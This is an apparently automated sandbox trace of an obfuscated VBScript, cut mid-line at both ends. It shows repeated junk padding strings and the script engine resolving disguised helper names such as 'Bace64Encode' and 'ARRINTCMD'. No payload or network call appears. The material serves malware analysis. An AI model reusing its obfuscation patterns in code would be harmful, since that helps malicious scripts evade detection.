\"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"243", pstrItemName=0x0, punkContext=0x0, pstrDelimiter=0x0, dwSourceContextCookie=0x0, ulStartingLineNumber=0x5, dwFlags=0x42, pvarResult=0x0, pexcepinfo=0x0 | out: pvarResult=0x0, pexcepinfo=0x0) returned 0x0 [0087.375] GetCurrentThreadId () returned 0xd44 [0087.375] realloc (_Block=0x0, _Size=0xc8) returned 0x8474be8 [0087.375] ??2@YAPAXI@Z () returned 0x86bfdc0 [0087.375] malloc (_Size=0x804) returned 0x119a768 [0087.387] free (_Block=0x8474be8) [0087.387] VBScriptEngine5:IActiveScript:SetScriptState (This=0x11a99c0, ss=0) returned 0x0 [0087.387] GetUserDefaultLCID () returned 0x409 [0087.387] GetACP () returned 0x4e4 [0087.387] ISystemDebugEventFire:EndSession (This=0x6bcaca0) returned 0x0 [0087.387] IUnknown:Release (This=0x6bcaca0) returned 0x1 [0087.387] VBScriptEngine5:IUnknown:Release (This=0x83fd504) returned 0x2 [0087.387] IUnknown:Release (This=0x6bcaca0) returned 0x0 [0087.387] IActiveScriptSite:GetDocVersionString (in: This=0x83fd4f8, pbstrVersion=0x0 | out: pbstrVersion=0x0) returned 0x80004001 [0087.387] VBScriptEngine5:IUnknown:Release (This=0x83fd4f8) returned 0x1 [0087.387] VBScriptEngine5:IUnknown:Release (This=0x11a99c4) returned 0x2 [0087.403] VBScriptEngine5:IActiveScript:Clone (in: This=0x11a99c0, ppscript=0x155054 | out: ppscript=0x155054*=0x11a9bc8) returned 0x0 [0087.403] ??2@YAPAXI@Z () returned 0x11a9bc8 [0087.403] GetUserDefaultLCID () returned 0x409 [0087.403] GetACP () returned 0x4e4 [0087.404] VBScriptEngine5:IUnknown:AddRef (This=0x11a9bc8) returned 0x3 [0087.404] VBScriptEngine5:IUnknown:Release (This=0x11a9bc8) returned 0x2 [0087.404] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x11a9bc8, riid=0x66908a40*(Data1=0xbb1a2ae2, Data2=0xa4f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0x20, [2]=0x0, [3]=0x80, [4]=0x5f, [5]=0x2c, [6]=0xd0, [7]=0x64)), ppvObject=0x846d290 | out: ppvObject=0x846d290*=0x11a9bcc) returned 0x0 [0087.404] VBScriptEngine5:IActiveScript:SetScriptSite (This=0x11a9bc8, pass=0x83fd368) returned 0x0 [0087.404] GetCurrentThreadId () returned 0xd44 [0087.404] ??2@YAPAXI@Z () returned 0x1186b60 [0087.404] ??2@YAPAXI@Z () returned 0x83fd390 [0087.404] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689b67c*(Data1=0x539698a0, Data2=0xcdca, Data3=0x11cf, Data4=([0]=0xa5, [1]=0xeb, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x47, [6]=0xa0, [7]=0x63)), ppvObject=0x1186bb4 | out: ppvObject=0x1186bb4*=0x0) returned 0x80004002 [0087.405] VBScriptEngine5:IUnknown:AddRef (This=0x83fd368) returned 0x2 [0087.405] IActiveScriptSite:GetLCID (in: This=0x83fd368, plcid=0x15503c | out: plcid=0x15503c*=0x800) returned 0x0 [0087.405] GetSystemDefaultLCID () returned 0x409 [0087.405] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x15500c, cchData=6 | out: lpLCData="1252") returned 5 [0087.405] IsValidCodePage (CodePage=0x4e4) returned 1 [0087.405] IActiveScriptSite:GetDocVersionString (in: This=0x83fd368, pbstrVersion=0x5 | out: pbstrVersion=0x5) returned 0x80004001 [0087.405] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689afa4*(Data1=0x51973c11, Data2=0xcb0c, Data3=0x11d0, Data4=([0]=0xb5, [1]=0xc9, [2]=0x0, [3]=0xa0, [4]=0x24, [5]=0x4a, [6]=0xe, [7]=0x7a)), ppvObject=0x11a9d54 | out: ppvObject=0x11a9d54*=0x83fd374) returned 0x0 [0087.405] VBScriptEngine5:IActiveScriptSiteDebug32:GetApplication (in: This=0x83fd374, ppda=0x11a9d5c | out: ppda=0x11a9d5c*=0x0) returned 0x80004001 [0087.405] CoCreateInstance (in: rclsid=0x6689b234*(Data1=0x6c736db1, Data2=0xbd94, Data3=0x11d0, Data4=([0]=0x8a, [1]=0x23, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xb5, [6]=0x8e, [7]=0x10)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x6689b244*(Data1=0x6c736dc1, Data2=0xab0d, Data3=0x11d0, Data4=([0]=0xa2, [1]=0xad, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xf, [6]=0x27, [7]=0xe8)), ppv=0x11a9da4 | out: ppv=0x11a9da4*=0x6bcaca0) returned 0x0 [0087.405] IUnknown:AddRef (This=0x6bcaca0) returned 0x2 [0087.406] ISystemDebugEventFire:BeginSession (This=0x6bcaca0, guidSourceID=0x6689b308, strSessionName="VBScript:00003392:00003396:12297777") returned 0x0 [0087.406] VBScriptEngine5:IActiveScript:AddNamedItem (This=0x11a9bc8, pstrName="scriptlet", dwFlags=0xa) returned 0x0 [0087.406] GetCurrentThreadId () returned 0xd44 [0087.406] ??2@YAPAXI@Z () returned 0x86bfe50 [0087.406] IActiveScriptSite:GetItemInfo (in: This=0x83fd368, pstrName="scriptlet", dwReturnMask=0x1, ppiunkItem=0x154ff0, ppti=0x0 | out: ppiunkItem=0x154ff0*=0x11977a8, ppti=0x0) returned 0x0 [0087.406] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x66894140*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x15500c | out: ppvObject=0x15500c*=0x11977a8) returned 0x0 [0087.406] IUnknown:Release (This=0x11977a8) returned 0x3 [0087.406] IUnknown:AddRef (This=0x11977a8) returned 0x4 [0087.406] ??2@YAPAXI@Z () returned 0x1105a00 [0087.406] malloc (_Size=0x40) returned 0x1197838 [0087.406] ??2@YAPAXI@Z () returned 0x1129360 [0087.406] IUnknown:AddRef (This=0x11977a8) returned 0x5 [0087.406] IUnknown:Release (This=0x11977a8) returned 0x4 [0087.407] VBScriptEngine5:IActiveScript:AddNamedItem (This=0x11a9bc8, pstrName="globals", dwFlags=0x2) returned 0x0 [0087.407] GetCurrentThreadId () returned 0xd44 [0087.407] ??2@YAPAXI@Z () returned 0x86bfe80 [0087.407] VBScriptEngine5:IActiveScript:GetScriptDispatch (in: This=0x11a9bc8, pstrItemName=0x0, ppdisp=0x155060 | out: ppdisp=0x155060*=0x83fd390) returned 0x0 [0087.407] GetCurrentThreadId () returned 0xd44 [0087.407] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd390, riid=0x66907c10*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x83fd484 | out: ppvObject=0x83fd484*=0x83fd390) returned 0x0 [0087.407] GetCurrentThreadId () returned 0xd44 [0087.407] VBScriptEngine5:IUnknown:Release (This=0x83fd390) returned 0x2 [0087.407] VBScriptEngine5:IActiveScript:SetScriptState (This=0x11a9bc8, ss=1) returned 0x800a01a8 [0087.407] VBScriptEngine5:IUnknown:AddRef (This=0x83fd368) returned 0x4 [0087.407] ISystemDebugEventFire:IsActive (This=0x6bcaca0) returned 0x1 [0087.407] IUnknown:AddRef (This=0x11977a8) returned 0x5 [0087.407] IActiveScriptSite:OnEnterScript (This=0x83fd368) returned 0x0 [0087.408] ??2@YAPAXI@Z () returned 0x83fd610 [0087.408] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154cb0 | out: ppvObject=0x154cb0*=0x11977a8) returned 0x0 [0087.408] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="age64Dicode", grfdex=0x8, pid=0x154ccc | out: pid=0x154ccc*=1396024) returned 0x80020006 [0087.408] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="age64Dicode", grfdex=0x8, pid=0x154c24 | out: pid=0x154c24*=-1) returned 0x80020006 [0087.408] GetCurrentThreadId () returned 0xd44 [0087.408] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.408] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154cb0 | out: ppvObject=0x154cb0*=0x11977a8) returned 0x0 [0087.408] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="BytesToStr", grfdex=0x8, pid=0x154ccc | out: pid=0x154ccc*=1396024) returned 0x80020006 [0087.408] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="BytesToStr", grfdex=0x8, pid=0x154c24 | out: pid=0x154c24*=-1) returned 0x80020006 [0087.408] GetCurrentThreadId () returned 0xd44 [0087.408] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.409] malloc (_Size=0x204) returned 0x872d3c8 [0087.409] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154cb0 | out: ppvObject=0x154cb0*=0x11977a8) returned 0x0 [0087.409] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="Bace64Encode", grfdex=0x8, pid=0x154ccc | out: pid=0x154ccc*=1396024) returned 0x80020006 [0087.409] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="Bace64Encode", grfdex=0x8, pid=0x154c24 | out: pid=0x154c24*=-1) returned 0x80020006 [0087.409] GetCurrentThreadId () returned 0xd44 [0087.409] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.409] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154cb0 | out: ppvObject=0x154cb0*=0x11977a8) returned 0x0 [0087.409] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="j5yjr5jjkryh", grfdex=0x8, pid=0x154ccc | out: pid=0x154ccc*=1396024) returned 0x80020006 [0087.409] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="j5yjr5jjkryh", grfdex=0x8, pid=0x154c24 | out: pid=0x154c24*=-1) returned 0x80020006 [0087.409] GetCurrentThreadId () returned 0xd44 [0087.409] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.409] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154cb0 | out: ppvObject=0x154cb0*=0x11977a8) returned 0x0 [0087.410] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="kbfdthjywfuj645y", grfdex=0x8, pid=0x154ccc | out: pid=0x154ccc*=1396024) returned 0x80020006 [0087.410] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="kbfdthjywfuj645y", grfdex=0x8, pid=0x154c24 | out: pid=0x154c24*=-1) returned 0x80020006 [0087.410] GetCurrentThreadId () returned 0xd44 [0087.410] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.410] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.410] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="mwebbodfjg", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.410] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="mwebbodfjg", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.410] GetCurrentThreadId () returned 0xd44 [0087.410] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.410] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.411] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="btj4urkmgfanvbw", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.411] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="btj4urkmgfanvbw", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.411] GetCurrentThreadId () returned 0xd44 [0087.411] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.412] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.412] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="f2323", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.412] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="f2323", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.412] GetCurrentThreadId () returned 0xd44 [0087.412] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.412] malloc (_Size=0x404) returned 0x84743a8 [0087.412] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.412] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="AllFata", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.412] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="AllFata", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.412] GetCurrentThreadId () returned 0xd44 [0087.412] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.412] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.413] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="fffffffffgggggg", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.413] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="fffffffffgggggg", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.413] GetCurrentThreadId () returned 0xd44 [0087.413] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.413] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.413] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vard1", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.413] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vard1", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.413] GetCurrentThreadId () returned 0xd44 [0087.413] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.413] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.414] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="ARRHELPWIN", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.414] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="ARRHELPWIN", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.414] GetCurrentThreadId () returned 0xd44 [0087.414] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.414] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.414] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="ARRHELPWINCHR1", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.414] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="ARRHELPWINCHR1", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.414] GetCurrentThreadId () returned 0xd44 [0087.414] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.414] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.415] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="ARRINTCMD", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.415] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="ARRINTCMD", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.415] GetCurrentThreadId () returned 0xd44 [0087.415] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.415] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.415] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="ARRTEMP", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.415] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="ARRTEMP", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.415] GetCurrentThreadId () returned 0xd44 [0087.415] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.415] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.416] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="DICHELPLONG", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.416] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="DICHELPLONG", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.416] GetCurrentThreadId () returned 0xd44 [0087.416] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.416] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.416] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="DICHELPSHORT", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.416] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="DICHELPSHORT", grfdex=0x8, pid=0x154c90 | out: 